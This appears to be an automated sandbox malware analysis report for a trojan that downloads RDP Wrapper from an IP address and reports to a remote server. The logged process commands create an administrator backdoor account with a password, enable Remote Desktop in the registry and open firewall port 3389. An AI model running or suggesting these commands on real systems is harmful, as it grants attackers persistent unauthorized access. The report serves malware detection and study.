Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_0043CF60 InternetOpenW,InternetOpenUrlW,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

9_2_0043CF60

Source: global traffic	HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: hansgborn.eu

Source: unknown

HTTP traffic detected: POST /core/receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: hansgborn.euContent-Length: 190Expect: 100-continueConnection: Keep-Alive

Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
Source: 67065b4c84713_Javiles.exe	String found in binary or memory: http://api.ipify.org
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp, 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FAD000.00000004.00000800.00020000.00000000.sdmp, 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.orgd
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hansgborn.eu
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hansgborn.eud
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171602944.0000000002810000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171602944.0000000002810000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RDPWInst.exe, RDPWInst.exe, 00000009.00000000.1765768816.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://stascorp.com/load/1-1-0-62
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B4B000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rdpwrap.dll.9.dr	String found in binary or memory: http://stascorp.comDVarFileInfo$
Source: RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://www.apache.org/licenses/
Source: RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://cloudflare-ipfs.com/ipfs/Qmd3W5DuhgHirLHGVixi6V76LhCkZUz6pnFt5AJBiyvHye/avatar/
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus.
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus/issues/115
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus/issues/54
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus/wiki/Bogus-Premium
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/bchavez/Bogus:
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171602944.0000000002810000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/lontivero/Open.Nat/issuesOAlso
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/core/receive.php
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hansgborn.eu/core/receive.phpd
Source: 67065b4c84713_Javiles.exe	String found in binary or memory: https://hansgborn.eu/core/receive.phpihttp://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://loremflickr.com
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://picsum.photos
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://placeimg.com
Source: RDPWInst.exe	String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
Source: RDPWInst.exe, 00000009.00000000.1765768816.0000000000401000.00000020.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr	String found in binary or memory: https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.iniU
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://via.placeholder.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Windows\System32\rfxvmt.dll

Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Code function: 0_2_026CE490	0_2_026CE490
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Code function: 0_2_026CDBC0	0_2_026CDBC0
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Code function: 0_2_026CD878	0_2_026CD878
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0040360C	9_2_0040360C

Source: Joe Sandbox View

Dropped File: C:\Program Files\RDP Wrapper\rdpwrap.dll 798AF20DB39280F90A1D35F2AC2C1D62124D1F5218A2A0FA29D87A13340BD3E4

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00406BE0 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00404CDC appears 74 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 00407450 appears 135 times
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: String function: 004042F8 appears 74 times

Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
Source: RDPWInst.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (console) x86-64, for MS Windows

Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171602944.0000000002810000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOpen.Nat.dll2 vs 67065b4c84713_Javiles.exe
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBogus.dll, vs 67065b4c84713_Javiles.exe
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameRDPWInst.exeB vs 67065b4c84713_Javiles.exe
Source: 67065b4c84713_Javiles.exe, 00000000.00000000.1704057773.0000000000568000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameRDPCreator.exe4 vs 67065b4c84713_Javiles.exe
Source: 67065b4c84713_Javiles.exe, 00000000.00000002.2170944182.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 67065b4c84713_Javiles.exe
Source: 67065b4c84713_Javiles.exe	Binary or memory string: OriginalFilenameRDPCreator.exe4 vs 67065b4c84713_Javiles.exe

Source: unknown

Driver loaded: C:\Windows\System32\drivers\rdpvideominiport.sys

Source: 67065b4c84713_Javiles.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f

Source: 67065b4c84713_Javiles.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.67065b4c84713_Javiles.exe.5020000.1.raw.unpack, LicenseVerifier.cs

Base64 encoded string: 'vBgOPQiBhRR22ClUzIBJCmxcaOWfuAweUNpodRuZWDn8whviOe4JdA/sjzqw54KGh1qHJIc7JY5sGTCxNZQiSuyZQ6iHK2ykmU0Yb+QBvbqG33x2R7Di8MoNA1Tv2fX7SSny++IKEOQEEvwYhYr6oRU8sVItMcybUjiaaSw1rbU='

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@47/9@2/5

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_0043BF00 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,GetLastError,AdjustTokenPrivileges,GetLastError,

9_2_0043BF00

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_0040FAE8 GetDiskFreeSpaceW,

9_2_0040FAE8

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_0043DC64 LoadLibraryExW,FindResourceW,LoadResource,FreeLibrary,

9_2_0043DC64

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 9_2_0043B1A8 OpenSCManagerW,GetLastError,OpenServiceW,CloseServiceHandle,GetLastError,ChangeServiceConfigW,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,CloseServiceHandle,

9_2_0043B1A8

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Program Files\RDP Wrapper

Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2920:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7772:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7660:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8032:120:WilError_03

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Jump to behavior

Source: Yara match	File source: 9.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000000.1765768816.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED

Source: 67065b4c84713_Javiles.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: 67065b4c84713_Javiles.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT NumberOfCores FROM Win32_Processor

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 67065b4c84713_Javiles.exe

ReversingLabs: Detection: 87%

Source: RDPWInst.exe	String found in binary or memory: Link: http://stascorp.com/load/1-1-0-62
Source: 67065b4c84713_Javiles.exe	String found in binary or memory: /add

Source: unknown	Process created: C:\Users\user\Desktop\67065b4c84713_Javiles.exe "C:\Users\user\Desktop\67065b4c84713_Javiles.exe"
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -s TermService
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net user JustonThompson G2ywh4BZ30yu /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user JustonThompson G2ywh4BZ30yu /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user JustonThompson G2ywh4BZ30yu /add
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup "Remote Desktop Users" JustonThompson /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" JustonThompson /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" JustonThompson /add
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c net localgroup "Administrators" JustonThompson /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" JustonThompson /add
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" JustonThompson /add
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Process created: C:\Windows\System32\netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net user JustonThompson G2ywh4BZ30yu /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user JustonThompson G2ywh4BZ30yu /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Remote Desktop Users" JustonThompson /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" JustonThompson /add	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" JustonThompson /add	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup "Administrators" JustonThompson /add	Jump to behavior

Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\67065b4c84713_Javiles.exe	Section loaded: winhttp.dll	Jump to behavior
